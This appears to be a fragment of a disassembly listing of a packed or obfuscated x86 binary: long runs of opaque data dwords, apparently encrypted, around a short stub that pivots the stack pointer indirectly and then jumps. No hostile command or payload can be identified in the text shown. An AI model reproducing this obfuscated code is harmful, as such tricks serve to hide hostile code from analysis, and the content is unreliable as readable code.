		dd 203E86BBh, 78308878h, 6D159B77h, 0A9E8246Ch,	31C2BA55h
		dd 57FF8360h, 0CFBD0B67h, 359DEDD7h, 2DD53595h,	8511EA1Fh
		dd 3564AC2Dh, 377B658h,	4331C238h, 0DBCB73D3h, 376C2A7Bh
		dd 3F2FD759h, 0B60C5CE7h, 0B5FD31C3h, 52E74697h, 6488A08h
		dd 0C24673C7h, 0CB239331h, 0F195E740h, 49C73737h, 1172C807h
		dd 249437EDh, 2D093ECCh, 16F429A7h, 0A4FCEC94h,	30B69243h
		dd 5A176ECBh, 0EB4A8244h, 5F4h,	196A8AD1h, 0B3048E68h
		dd 4E9F2702h, 0E738C49Dh, 83D45A36h, 6541E4F5h,	0FFDD8EDFh
		dd 9E7B2C7Dh, 0D018C91Ah, 26B461B2h, 0F18C93E7h, 0DFDDB337h
		dd 0E85FC39Fh, 4CA78631h, 36DE6842h, 2968E646h,	31C2CED5h
		dd 0D42585F5h, 0CFACDB23h, 0B09AEB4Bh, 9139579Fh, 0D92A4890h
		dd 45B9191Bh, 852DB590h, 8BDE5795h, 1F23025Ah, 35000000h
		dd 9139579Fh, 0AC2A4890h, 0AB0D71AAh, 84DC26E0h, 0F594DDCCh
		dd 257694DCh, 1216h, 579F2800h,	35869139h, 7B31C2BAh, 0E22A27E2h
		dd 928973C4h, 51F9835Dh, 40880961h, 36CB7A22h, 412F6EECh
		dd 5337F5E1h, 927CD211h, 2E9E37F1h, 7CFA6AD6h, 63E1FF47h
		dd 0DDB7E62Eh, 5B4BF353h, 0A2E4A203h, 0A24682A0h, 0A31ED51Ch
		dd 37F15D2Fh
		dd 468EFF6Fh, 38908028h, 0A9516FB7h, 9D1B65FAh,	64DA195Bh
		dd 9137F15Dh, 62D22EB6h, 62C7F0Ah, 7031C6h, 0C9054D82h
		dd 0A5B4348Ah, 0EE28743Dh, 1DFB21F0h, 0A0F151C1h, 4DCFADE2h
		dd 0B94E5B0Fh, 0F1494D51h, 620A2870h, 56D41EB3h, 89527217h
		dd 0BD22923Bh, 50BE1F76h, 0BDD3326Ah, 9A000004h, 31E23353h
		dd 0CB7CCD57h, 661768F0h, 0FFB0018Dh, 0BE4C9D23h, 0A62C082Dh
		dd 44C6A455h, 0E16542F3h, 7997DF90h, 0AEED7B28h, 37F18258h
		dd 9FA6A47Ah, 37E83957h, 2829D1EFh, 0F44C2E0h, 1303AB35h
		dd 9F3803BBh, 819FE7F8h, 519F8530h, 6E565E56h, 44000000h
		dd 6BF1CD02h, 0C2B69AF0h, 6A6EBC31h, 0AA8BAA68h, 3DF74FAFh
		dd 94125CF1h, 0BABF1352h, 6FDF31C2h, 214A8917h,	0C937EF09h
		dd 0C9A6DB59h, 0F592E827h, 33B437EEh, 3A2AD256h, 6E297ADAh
		dd 37EEEA1Ah, 2788181Ah, 37812998h, 9BE7760h, 49A10179h
		dd 116280C8h, 81FF8360h, 0F58A003Fh, 4BCC37EEh,	5040E870h
		dd 81E098F0h, 3FCh, 5B579F93h, 0F5475C31h, 0B29001F7h
		dd 38988830h, 29478F90h, 9AE479D8h, 7C8DD1Ch, 0D84837EEh
		dd 0A1E02230h, 37EE572Dh, 8A10EC6Dh, 0F747D22Ah, 0EC37EE57h
		dd 0CED6989Ah, 3E2B1EE6h, 0F12F5DF3h, 38905C6Ch, 4B3124E3h
		dd 2582A16h, 2Ah, 5573BBF0h, 5CF143FDh,	0CC559412h, 4C37EEDEh
		dd 0F12634DCh, 0AA358D17h, 37EE9E50h, 8453364Fh, 582A2D9Eh
		dd 0BC55h, 579F1700h, 0B4909139h, 4378862Eh, 4939E167h
		dd 0A2870F1h, 0FB196162h, 0BFA1EFAAh, 78C031C2h, 1058095Ah
		dd 69B4AF2h, 42FF3EBCh,	9237EEEBh, 0DD72D122h, 91D31593h
		dd 0EE80FC52h, 70AE1E37h, 69943E74h, 0AA358DA2h, 31DDC607h
		dd 84B937A7h, 20D122A8h, 1459BE44h, 0FC4A85C9h,	32265C4h
		dd 0B8FF0000h, 0BC964798h, 5530E132h, 0F2CB7CCDh, 88641566h
		dd 8A23B102h, 0BC0D936Fh, 5AAB2D0Bh, 0F748CCA9h, 8FE0FE46h
		dd 0A11554E2h, 0E137F183h, 0C39F0D0Bh, 3E7DBF3Dh, 31C2BAC8h
		dd 0DD1C9A0Ah, 31C2BA69h, 80E139A9h, 0EB6987CFh, 0E4853AE9h
		dd 0A6B64896h, 2C96D4D2h, 5DBE1648h, 125CF173h,	0DECC5594h
		dd 0FE4C37EEh, 0C3CE9F6Eh, 0E15FBF48h, 5B39D0ACh, 692179D9h
		dd 0C24C265Bh, 47D22A1Ah, 37EE05F7h, 0E34D3ECh,	33BD97CCh
		dd 0EE0542B8h, 0BC148437h, 29925B41h, 0BC1258h,	9FD40000h
		dd 0B9BB3957h, 2075B027h, 1F5EDC6Ah, 31C2C4ABh,	6B237BEBh
		dd 60088E6Ah, 0C2C1DB55h, 0C0DE2631h, 20AFB16Fh, 29583EE0h
		dd 0C1432192h, 50D12919h, 9342EA08h, 0F736B4FEh, 37EE704Ah
		dd 6AC91A8Ah, 0CB0D8BD5h, 69F44A89h, 0A61637EEh, 0BBFFC34Eh
		dd 0AF1F31DDh, 9A20FC31h, 36BC9849h, 85ED96D1h,	0D3326A4Ah
		dd 21Ch, 4192B2F9h, 0DB2CB690h,	76C74F2Ah, 0F60ECC5h, 0ABFC825Eh
		dd 8D698C1Dh, 2705B607h, 0C6A354A5h, 0F840F142h, 4EDC89DAh
		dd 0F180BB0Fh, 705DB37h, 0FA825D92h, 0AE4521A2h, 9AEB4BD3h
		dd 3283A1E9h, 0E34B7274h, 8EF75B11h, 93832BB3h,	5DE9C233h
		dd 579F4B05h, 48909139h, 0E61BD92Ah, 0AD2E8608h, 87C94765h
		dd 0C2BAF248h, 66A41431h, 8F02A34h, 16CE261Ch, 0A88D267h
		dd 0CD75F7D5h, 0B8F785DDh, 37EE0BD7h, 3CC6A0D5h, 600878E4h
		dd 785A3D56h, 0F6C12676h, 156DC6B5h, 0B02E4C94h, 6E16A27Bh
		dd 7C5267Eh, 926D9405h,	8D981C74h, 874B899Bh, 0B6F573D8h
		dd 37EE1B40h, 8BBA1282h, 0EF2EACF6h, 31C264F2h,	0FF34B222h
		dd 8F6CBD25h, 3D103DCAh, 0ED4535DDh, 0CEEC3435h, 2BEE3726h
		dd 2BA9F388h, 815B5B29h, 0F24AEAD2h, 0E3B82564h, 0E8583BB6h
		dd 809EE697h, 98FAD7D8h, 47E119C3h, 0E563C307h,	7E5DE0E3h
		dd 0F7364496h, 23463E83h, 9BF353C3h, 8105E2E3h,	368CCBD9h
		dd 5823463Eh, 179977E8h, 6E69A16Fh, 0EC8F3083h,	9D45448Dh
		dd 0C39CD123h, 0BD6AF937h, 46E220B4h, 0D4FE99EEh, 4C9BD0D2h
		dd 0A516E0E0h, 0AC9C44C8h, 4F8BD354h, 4695BA10h, 0C6CDC23h
		dd 0B90D4C8Eh, 0D9234695h, 51B01169h, 0B5F472BCh, 256AF0D4h
		dd 0DBDC84F4h, 0C3CD7593h, 0AF44EFAAh, 0AF634547h, 0EC54B0C1h
		dd 72A91D71h, 6DCD3D29h, 0CCCFB0EFh, 6EEF2F5Eh,	30AE0E90h
		dd 1FB7B3FBh, 0DF357DCEh, 0F5E58DEDh, 48DD3C9Dh, 0AE3E8E20h
		dd 6ECE8BB4h, 0A079AEF0h, 42A22603h, 6039AA9Ah,	0E43C2CD4h
		dd 295DCE59h, 36DE4E29h, 9216F328h, 5371B93Ah, 0EB095102h
		dd 39E83843h, 0E22BAE5Ah, 0C4E22A27h, 0AD371146h, 0B99AF02Fh
		dd 4CBC4F61h, 9AE293F4h, 84C6D47Ch, 61B9F145h, 9B1FFC4Fh
		dd 37A703F3h, 0F9855EDFh, 6B2E4751h, 92102E76h,	51F9835Dh
		dd 0F7A80961h, 1A3880AFh, 7A228272h, 31Bh, 0BDF72D00h
		dd 9038589Fh, 8129478Fh, 771FA380h, 6E169876h, 630B916Dh
		dd 58008662h, 4AF27E57h, 3EE66E49h, 31D9633Dh, 0E1895115h
		dd 4FB9BE56h, 0E6816A6Dh, 45894FAAh, 0F707EEC1h, 8EEC1D6h
		dd 8017C681h, 0F101FF00h, 4E9835Eh, 5C240C87h, 81E38953h
		dd 4C3h, 4EB8300h, 5C241C87h, 68240C89h, 7CD5h,	57240489h
		dd 10EE3BFh, 1975B94Ch,	0E981BA32h, 30801C18h, 0C181F901h
		dd 30801C18h, 48B545Fh,	4C48124h, 53000000h, 8952CB89h
		dd 85089DAh, 48B5B5Ah, 0E2895224h, 4C281h, 0C2830000h
		dd 24148704h, 240C8B5Ch, 81E78957h, 4C7h, 4C78100h, 87000000h
		dd 0E95C243Ch, 0FFF93F26h, 69097C85h, 8B1FA19h,	68CF565Eh
		dd 0E7B80DA3h, 306333Ch, 0A1E0FFC5h, 0FF6E300Dh, 3B2C4283h
		dd 0E2382AEDh, 0E94383E8h, 0Bh,	4BF758BDh, 0
		dd 0E9000000h, 516h, 257696DDh,	0BF109A74h, 5AAB330Eh
		dd 0F344D0A9h, 8FE06642h, 714DE801h, 0BE99AEBh,	0AA873889h
		dd 0DC24D526h, 32C06DBEh, 0F1879FF3h, 0EBE9BF37h, 0E6155D92h
		dd 7921810Dh, 68B03189h, 96CACC4Ah, 2F7E0693h, 6B6C247Ch
		dd 7B8098Fh, 0F8F9A1BFh, 0D21492B0h, 0C2A23F93h, 4D1A7D31h
		dd 48CDA2F4h, 6C247CECh, 5F07916Bh, 6F602770h, 498B0927h
		dd 0C224B40Ah, 0E66D631h, 56EDEFADh, 8E1710B7h,	0A01655D3h
		dd 0E231C2E0h, 0BC991A72h, 5936E738h, 4E2C2DD5h, 11A24CCh
		dd 0E86C4906h, 534F686Ah, 0E76B0B0Dh, 357D2E8Fh, 18579917h
		dd 31C2CDA2h, 641C74E4h, 61D51456h, 0A131C2CDh,	0FD4ED931h
		dd 0D931C2CDh, 4D4F7514h, 4B045B8Ah, 0FC77CFBAh, 5E55CC16h
		dd 74CDh, 50928F00h, 0C2BABD11h, 67CBB31h, 4831C2BAh, 0B40C7CD8h
		dd 25CDEB33h, 0C2BAA61Ah, 38DFA431h, 5651472Dh,	0DFE5Eh
		dd 0B7EC0000h, 0AEAF57D9h, 0B5A54DD1h, 9F43FD55h, 7BBD3BC5h
		dd 0C2BAC63Ch, 0AC870831h, 0B46CC424h, 0A74FD9B3h, 5330CDA6h
		dd 0D73727CFh, 7CBE402Fh, 0C2BAC93Dh, 0AF880931h, 166BC323h
		dd 0D41C5173h, 0C61E0EB6h, 90E16B45h, 287997DFh, 3DC39F3Eh
		dd 0C83E7DBFh, 0A31C2BAh, 898A429Ah, 0AF3B14AFh, 0FB71707h
		dd 0F3ECAB44h, 8F409117h, 80812947h, 74751DA5h,	696A1298h
		dd 57ABEA8Ch, 7731C2BAh, 10FFA707h, 9920C0C7h, 0F8CE9980h
		dd 8F5E564Fh, 90h, 835D9251h, 96151F9h,	7E26AC88h, 721AA27Dh
		dd 825F3A83h, 1ECF20A6h, 614BC42h, 0C971F3D1h, 270081D9h
		dd 7D1B1D9Bh, 1AB9B5Fh,	889F57AFh, 0E7BDA86Fh, 7E5E5588h
		dd 6Bh,	3DC39F40h, 5659BDBFh, 0A95A8DB3h, 1896EC2Bh, 48B831C2h
		dd 5A3738F0h, 0EBE92ED6h, 0CFC78DE9h, 0D32B47CFh, 0B7B99B7Eh
		dd 0B9B08392h, 6644B5ECh, 2F0B8CE4h, 1CF62BA9h,	0EE9EA92h
		dd 8EEEDE86h, 0E217D536h, 44E9F09h, 0BAA13C6Ch,	860EE95Ah
		dd 0DC96EEDEh, 933BC59Fh, 0C2BA3788h, 4B4E1331h, 5651B69Ch
		dd 16D5Eh, 9F2F0000h, 93943CC4h, 6DAF2D4Bh, 0C2BAD82Eh
		dd 328AFA31h, 0B057707Ah, 0EB3CC49Fh, 2FADF78Ch, 56DCB8EDh
		dd 0E31273FEh, 0C94A37EEh, 0CEBE66EEh, 7DC5C66Eh, 0A4DFE15Fh
		dd 7F40C211h, 0C381E23Ah, 0B92AB48Eh, 0BFAF57DDh, 809EE667h
		dd 0F37BCDD8h, 7D4237EEh, 5F7DC59Ah, 0F7155D0Eh, 0E8064E4Fh
		dd 0DC643F40h, 0CDEB3334h, 0D6B14A25h, 5336CF0Ah, 0C718367Eh
		dd 2A09361Ch, 134ED58h,	0F1AF0000h, 5594125Ch, 37EEDD7Ch
		dd 83842C9Ch, 1BCC1D3Bh, 0C0DB5D3h, 33FEA6C4h, 6AE01F61h
		dd 0AC37EE9Eh, 888FE43Ch, 20718FD7h, 2A2D8F75h,	604658h
		dd 0F1080000h, 5395135Dh, 12BA441Eh, 4B69B122h,	0BA3268F3h
		dd 0E454B1C2h, 0BADD313Ch, 750EB1C2h, 317B0F92h, 0F06F71B3h
		dd 0C3302E64h, 3367F24Ah, 3131C2AEh, 0AE5AB0EFh, 2E7C31C2h
		dd 0D1766356h, 91E9498Eh, 4D46D725h, 0C6F146D4h, 6DAB6D4Fh
		dd 0C2223E0Ah, 0A86271h, 6BA00000h, 72620A8Eh, 5CF1601Ah
		dd 60559412h, 7E37EECAh, 91E96B49h, 0E2589725h,	2437EEABh
		dd 9B43C5A3h, 43EB4BABh, 0EFCBFA42h, 0FAB80969h, 0AB0579B8h
		dd 0E83037EEh, 0A6FE6ECAh, 17BFDD25h, 0EEAAB10Ch, 66ECC837h
		dd 5BE1BDBEh, 0EEA96EB3h, 81884D02h, 196A88D0h,	0B14C265Bh
		dd 0B8A850D4h, 3CD10058h, 0B33574F2h, 5331D9EAh, 0F23A3BE3h
		dd 7E5456D4h, 0CDF99E91h, 1C7C06E0h, 0E9020CC4h, 93EE832Eh
		dd 55D333B5h, 0AA4ED216h, 67A6343Bh, 23504E13h,	0E563C333h
		dd 114E6BE3h, 166ECD8Eh, 7AC2F7B5h, 8AEA6E4Bh, 5CF17832h
		dd 9B929412h, 8123811Bh, 0CA72FCD6h, 94227ADAh,	83095052h
		dd 0EFF51387h, 3BC40C97h, 0BA2A37F5h, 0ABC91112h, 1B5A9C5Ah
		dd 37F6BBA7h, 9E1F77E7h, 85BA3856h, 11C921ABh, 0B2D43006h
		dd 0CBCD4F79h, 0E4CD2B4Fh, 73C820BDh, 5573BB94h, 0CF0B5304h
		dd 0B934529Ah, 623A3C45h, 0DB51585h, 0FFA7330Ch, 243DDCF5h
		dd 0BC6DBEDCh, 0A0AE5674h, 5B0F419Eh, 237B437Fh, 344h
		dd 0BDF75600h, 9038589Fh, 8129478Fh, 771FA380h,	6E169876h
		dd 630B916Dh, 58008662h, 4AF27E57h, 3EE66E49h, 31D9633Dh
		dd 1F156815h, 2C890000h, 0E6895624h, 4C681h, 0EE830000h
		dd 24348704h, 242C895Ch, 4C7868h, 24148900h, 7F20BE56h
		dd 0A2BD69B5h, 819C7DBEh, 2B7872EDh, 81F50123h,	2B7872C5h
		dd 0EC815E23h, 4, 81242489h, 42404h, 565A0000h,	89E88950h
		dd 728958C6h, 34FF5E08h, 0C4835A24h, 242C8B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5017CA
; ---------------------------------------------------------------------------
aZ_0		db 'z}',0
		db 0D9h, 66h, 5Ah
		dd 451232F5h, 4FB845A6h, 3063342h, 0C7E0FFC5h, 0A282377h
		dd 3B7F2024h, 4F5E252Ch, 0C96C7C45h, 7C7B470Fh,	0ED11C088h
		dd 0E112F2C0h, 442EF701h, 0EF011E78h, 0FA00056Ah, 0B70C875Ch
		dd 0D67A0950h, 0D56CBC28h, 0AA4CB92Eh, 6465A032h, 4275DF93h
		dd 4517B6A7h, 1671A4FAh, 9D4D6BFEh, 4733226h, 0E96F4h
		dd 0E961D1C5h, 15Fh, 60D48B52h,	0E8h, 0ED815D00h, 6334347h
		dd 3D08428Bh, 78263845h, 138850Fh, 428B0000h, 184A8B0Ch
		dd 3BBC8D3h, 334F7291h,	4E883C3h, 2BA58589h, 588B062Ch
		dd 8BF88B04h, 4A8B1042h, 0BEC8D318h, 0AEBF3393h, 0C72BC633h
		dd 83FCE083h, 858904E8h, 62C12D9h, 8914428Bh, 2C29C185h
		dd 18428B06h, 0B0E953h,	0B5FF0000h, 62C2D19h, 0B9E9h, 41B5FF00h
		dd 0E9062C2Bh, 0AEh, 243DB5FFh,	0A3E9062Ch, 0FF000000h
		dd 2C274DB5h, 98E906h, 0B5FF0000h, 62C25F5h, 8DE9h, 0C1B5FF00h
		dd 0E9062C22h, 82h, 2C81B5FFh, 77E9062Ch, 0FF000000h, 2C11F9B5h
		dd 6CE906h, 0B5FF0000h,	62C08E1h, 61E9h, 0DB5FF00h, 0E9062C15h
		dd 56h,	22DB5FFh, 4BE9062Ch, 0FF000000h, 2C1A0DB5h, 40E906h
		dd 0B5FF0000h, 62C3101h, 35E9h,	0DDB5FF00h, 0E9062C00h
		dd 2Ah,	599B5FFh, 1FE9062Ch, 0FF000000h, 2C2C35B5h, 14E906h
		dd 0D88B0000h, 0BB8h, 0E3F76600h, 43A88D8Dh, 0C8030633h
		dd 95FFE1FFh, 62C15F5h,	0A5858B5Bh, 39062C2Bh, 850F0458h
		dd 0Fh,	0FF016A53h, 2C26B195h, 0E2E95B06h, 61FFFFFFh, 5A61C35Ah
		dd 0D4C96AB8h, 8BE0FF77h, 2C160985h, 968D8D06h,	89063344h
		dd 0C38B0141h, 457B8D8Dh, 830F0633h, 0
		dd 2BA58D89h, 6A062Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0AE7CB4C3h, 21063BA3h, 6850FF4h
		dd 29000000h, 2C0FD98Dh, 0D985C706h, 0F4062C12h, 6A000061h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 7A7AC353h, 0C7F9B4A5h, 2C29C185h,	6, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 9024D7Ah, 2C08B995h,	35B5FF06h, 8B062C2Ch, 0F595FFDAh
		dd 6A062C15h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0E5C0C351h, 6A7C6Ah, 26B195FFh
		dd 0C08B062Ch, 0DD956BEBh, 7DCE7Ah, 0F55A66D9h,	0A6451232h
		dd 6198F245h, 0C2E6C3BFh, 550F28Dh, 61BE4094h, 560D69A5h
		dd 432DF07Ch, 69306B5Fh, 8718DAE2h, 73CAE9B6h, 57A2A5E0h
		dd 0B031C5B5h, 0C8F97E21h, 753C6240h, 46543C33h, 17AC41D3h
		dd 6F08B8E7h, 5BA70F01h, 12ED9FC6h, 781D0D66h, 8E266AA7h
		dd 92AA9399h, 0B8E1995Ch, 4707EDF2h, 0AD85C6E6h, 56062C21h
		dd 0C530DF68h, 3DB5FFA9h, 8D062C07h, 2F860C85h,	8DD0FF06h
		dd 2C31298Dh, 406A5106h, 20A1B5FFh, 0B5FF062Ch,	62C2C55h
		dd 0B5FFD0FFh, 62C20A1h, 2C55B5FFh, 0CE8062Ch, 0CB000000h
		dd 0F97900DDh, 0DD052BC1h, 5BAFED2Ah, 4EB835Bh,	2242CC1h
		dd 22424C1h, 0F7241C03h, 0F633241Ch, 8133148Bh,	0AD5162EAh
		dd 9AF2815Eh, 813F9E85h, 1EC601C2h, 48F5256h, 4EE8333h
		dd 0F24343Bh, 1685h, 25E900h, 0FC640000h, 8349EFA9h, 0D0C45233h
		dd 80A04096h, 0E9B83635h, 0FFFFFFC0h, 2BC7A47Ch, 39F7C93h
		dd 0E32E5D78h, 8D194C50h, 2C08FD9Dh, 0B038B06h,	7840FC0h
		dd 8B000000h, 45B8B03h,	0C98B1889h, 11E8h, 64769100h, 1341504Eh
		dd 260CA01Ch, 0E0713D08h, 0BB538FB3h, 53CE5B45h, 6E9585Fh
		dd 65000000h, 80BCDE50h, 2CC08131h, 0E800006Dh,	9, 0DA5A7D38h
		dd 9EE942E0h, 0F78166FCh, 0BA5E9357h, 7CF74D82h, 3277EA81h
		dd 81667CF7h, 8B371FF7h, 0D860F08h, 0E9000000h,	8, 69F48F21h
		dd 6E4DAE1Eh, 727CC181h, 0F6BF4F15h, 81724542h,	153E13C1h
		dd 69E98126h, 0E808D2FBh, 13h, 70AE8B31h, 86F894FDh, 63FDCC6h
		dd 121DEF3Dh, 0BEE98EB6h, 1F95D78Eh, 0EE8515Fh,	0BC000000h
		dd 8A495425h, 845BDD3Ch, 0EB894CE0h, 8F5B78h, 84E68060h
		dd 0E88161F9h, 5FECEDBAh, 268B2CBEh, 0B6C08173h, 0BE5FECEDh
		dd 7F54F5D2h, 1EA81h, 850F0000h, 1Bh, 6E957h, 0DBCA0000h
		dd 167B6B88h, 1BE95Bh, 66D00000h, 3CF2E1D3h, 0E93B2EE5h
		dd 0FFFFFF57h, 8ABE7B93h, 5CA403EBh, 32EDBF6Bh,	27E93Ah
		dd 0BDE50000h, 5E2h, 8 dup(0)
		dd 43EE900h, 0F6680000h, 0E9063348h, 0FFF934B2h, 33496368h
		dd 34A8E906h, 7E68FFF9h, 0E906334Ah, 0FFF9349Eh, 0D92A4A91h
		dd 73C44E28h, 0E5FE7C2h, 0A7F8845Dh, 43941AF6h,	250124B5h
		dd 0BF9D4E9Fh, 5E3BEC3Dh, 90D889DAh, 0E6742172h, 0F1F253A7h
		dd 9F9D7337h, 953DC39Fh, 0F0765287h, 7F005848h,	69C81937h
		dd 0D70C8AD4h, 2700718Fh, 76B5439Bh, 37EEBB39h,	77FBD859h
		dd 0EA646F17h, 937EEBBh, 0F62B29F0h, 0C33E9618h, 582A50DDh
		dd 2A294h, 9F3B5600h, 38B60095h, 0EEDCFCF9h, 79B8FA37h
		dd 37EE9805h, 117DD545h, 19EAF5A1h, 7E290402h, 1F219FE9h
		dd 32E65DC8h, 0EA78D0CAh, 7FD2E2ABh, 0F29A0A34h, 0E664AE43h
		dd 0D936FA4h, 921D7565h, 3E53EC24h, 8220856h, 9E255C02h
		dd 438BC03Eh, 872C807h,	0EAB23E2Bh, 9F273209h, 0F499E743h
		dd 5B100A36h, 0D92A8AEAh, 8509E61Bh, 4664AC2Dh,	137318E1h
		dd 41A0D84Eh, 294h, 0F14262A9h,	8BDC6640h, 2677FFDAh, 0BF109C75h
		dd 5BAC320Eh, 3D193CCDh, 0D7B566B7h, 76530455h,	0A8F0A1F2h
		dd 0FE8C398Ah, 0F1F24BBFh, 0B7B58B37h, 27015CF1h, 0A505F59Dh
		dd 2CEE827h, 0A2F037F6h, 0AC87C965h, 7AF8587Eh,	92E36945h
		dd 0A1AED2D4h, 1B781FEEh, 0E06642C3h, 0EADE2D38h, 0A1E937F1h
		dd 54D51E83h, 0D30B445Dh, 22774h, 0D5F53C00h, 6FF9D384h
		dd 0A926D1Eh, 0A32F08B9h, 3FC5A152h, 0AA4F60EEh, 46F748CEh
		dd 0E495E668h, 81328307h, 1DCA1B39h, 0F3FA508Fh, 461C37F1h
		dd 125CF148h, 2BD5594h,	0ED5D37F6h, 0F2C03A45h,	0C6DF37F1h
		dd 62E14C3h, 6CE55823h,	0A7000001h, 9139579Fh, 0AC2A4890h
		dd 6D159B77h, 65C4257Dh, 119B75D0h, 9B197969h, 0EED7475Ch
		dd 0AF57C737h, 0EEA72AA4h, 69304937h, 2A30987Eh, 3E4F58h
		dd 0F1110000h, 0A123015Ch, 2384C341h, 7B37EEDEh, 0E658630Bh
		dd 0FD37EE9Eh, 0DD1F25E4h, 0EE9E289Eh, 0A2FA6A37h, 2A2D4127h
		dd 0C2F858h, 0B1E60000h, 95ED6D69h, 0D7DAEB27h,	86CECF77h
		dd 0F6B00868h, 0BD115092h, 0DD31C2BAh, 4C94156Dh, 0A985862Eh
		dd 327A7B23h, 236B6C14h, 0A3F9B405h, 0D631C2BFh, 0C01F708Eh
		dd 2463E12Bh, 37F16C83h, 0EB2DAB1Bh, 0AE56D8B6h, 0EED61A0h
		dd 0BD2D37ECh, 2AA0DF5Dh, 6C37EC0Eh, 4723A4FCh,	0EE4ED4B0h
		dd 8A10EC9Dh, 58C10825h, 71D00844h, 10Ch, 69BADA21h, 354DEB8h
		dd 9EEF7752h, 378814EDh, 0D324AA86h, 0B591B445h, 4F2DDE2Fh
		dd 0EECB7CCDh, 2068196Ah, 7604B102h, 0F1F0C337h, 2F2D0337h
		dd 0BF3DC39Fh, 0BAC83E7Dh, 9A0A31C2h, 0EE23E142h, 17357D10h
		dd 0C71F7F6Fh, 8FE0FE46h, 36549CD1h, 8C469E8Eh,	775B579Fh
		dd 9D83052Ah, 5FA11F7Fh, 0C2ECAA20h, 247CEC31h,	5236B6Ch
		dd 58C055B4h, 0C2ECA519h, 1575E531h, 5F375897h,	89D737EFh
		dd 966D21AFh, 0D04EAE53h, 0E839BF9Bh, 0EE0DDD2Dh, 82A0E837h
		dd 1EA48031h, 6E1776h, 0F1290000h, 5594125Ch, 37F602A1h
		dd 4849F161h, 2F64E200h, 0E478EF53h, 9955A196h,	49A19139h
		dd 0D1EF37E8h, 0E061E29h, 0A88333A7h, 9A777820h, 0AA36E16h
		dd 0BB04630Fh, 0E8C1F6DCh, 6CC4B45Ch, 0EA7A3EBh, 0F7BC4C92h
		dd 58095ABAh, 494AF210h, 3166E470h, 0C179D153h,	0E6FB9EB7h
		dd 0CD02809Eh, 0B4156DEFh, 0F59DBB03h, 396h, 0BDF7A800h
		dd 9038589Fh, 8129478Fh, 771FA380h, 6E169876h, 630B916Dh
		dd 58008662h, 4AF27E57h, 3EE66E49h, 31D9633Dh, 5E545615h
		dd 4C681h, 0EE830000h, 24348704h, 0B8C685Ch, 34890000h
		dd 41AB6824h, 3C890000h, 4EC8324h, 0BF243C89h, 529F7181h
		dd 23A0F781h, 0E781663Ah, 546B551Fh, 180FF781h,	0FE891212h
		dd 4EC815Fh, 89000000h,	4832424h, 505F0424h, 8B8h, 1CF22D00h
		dd 0F8010FF1h, 0F11CF205h, 5830890Fh, 5F2434FFh, 0FF04C483h
		dd 835E2434h, 87E904C4h, 1DFFF930h, 34EB65BAh, 0AF9D83B3h
		dd 334BAFB8h, 0FFC50306h, 900982E0h, 25790644h,	1D15A43h
		dd 19929503h, 0CB459D7Dh, 3FF1015Fh, 0EEB12D2Fh, 186ACA68h
		dd 37085F44h, 4F5EA828h, 78FBCA6Ah, 0BD1B4C29h,	3AE67B6Eh
		dd 22CB015Ah, 14FF6355h, 811D9F4Ah, 0EF16A035h,	1AB0A94Fh
		dd 0DBFF6B62h, 0A8900A1Dh, 0CEF0E74Bh, 17BB350Fh, 35BB0324h
		dd 146C0E70h, 0A63D9E2Bh, 44287B02h, 0D3519B73h, 77F9D361h
		dd 0B616C430h, 0F2B6B318h, 0F9611368h, 688D8D4Ah, 6A06334Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 8A7CC353h, 89BAA491h, 2C2BA58Dh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0F814F799h, 0A9519006h, 0D98B66AAh, 12D985C7h, 6894062Ch
		dd 0B58B0000h, 62C32B9h, 85C720B6h, 62C29C1h, 0
		dd 50E4C6BAh, 0E1B5FF6Ah, 81062C08h, 51A29EEh, 0F595FF6Ah
		dd 6A062C15h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 41FBC357h, 0F0D5B404h,	0A19D8BECh
		dd 6A062C21h, 0B195FF00h, 8B062C26h, 6F7AEBC0h,	9E6ACF88h
		dd 8D46E6BFh, 70D8532Eh, 6E81CA67h, 0AD2A1D37h,	8A050657h
		dd 1A80FF80h, 89044468h, 0F7F046B3h, 1A0DE5B5h,	32FB29B3h
		dd 0D29D2C68h, 619ADCCh, 690B21E7h, 0E2DA4C7Bh,	0A05237EDh
		dd 0E4A0C4A2h, 8D40D9B2h, 38B4E9F8h, 7C5BF51Dh,	0FA2F2A87h
		dd 4019BFF7h, 0B06591CDh, 0C02E28B5h, 0B5ED281Ah, 5B676743h
		dd 8EAA7786h, 0B1EFC155h, 895680EBh, 1638278Dh,	9E8CAh
		dd 0E6BB0000h, 90628C4Ah, 0BA30227Dh, 30D03597h, 81DF8B58h
		dd 6789C0h, 55958B00h, 0B9062C33h, 0
		dd 8BF98B66h, 0C7810834h, 6A4C83DDh, 7BF4C681h,	0ECB74A38h
		dd 77E2C681h, 0EE93C54h, 0F0000000h, 0B7C8D6B0h, 5A7D3814h
		dd 0E942E0DAh, 0F7F6819Eh, 662BFD68h, 3489D38Bh, 0F9952B08h
		dd 83062C2Bh, 958B04E9h, 62C18B5h, 9914F981h, 850FFFFFh
		dd 18h,	25E9F5h, 0FB390000h, 0B3C05DA2h, 89AE426Fh, 92327535h
		dd 46F76BB4h, 90E9FE8Bh, 78FFFFFFh, 0EA02B811h,	9CB89B42h
		dd 0E8C96B46h, 10h, 0E6CDFFE3h,	4E102624h, 8D669244h, 659A4ECEh
		dd 20A58D09h, 815B062Ch, 5C04C3h, 6880F00h, 8B000000h
		dd 2C1C4D85h, 16D7BF06h, 0B70F0000h, 0B533FFCEh, 0EA815A72h
		dd 534B8A10h, 1A95B50Bh, 0EA81062Ch, 12A7741Dh,	81ABED80h
		dd 90ED9DF2h, 39B58967h, 52062C21h, 8E9h, 0C921F500h, 0FB5152CEh
		dd 81038F5Ah, 8EBFB0D0h, 4EB837Bh, 850F4FF9h, 19h, 8860Fh
		dd 850F0000h, 2, 21E95E50h, 11000000h, 4781D567h, 5E8B0h
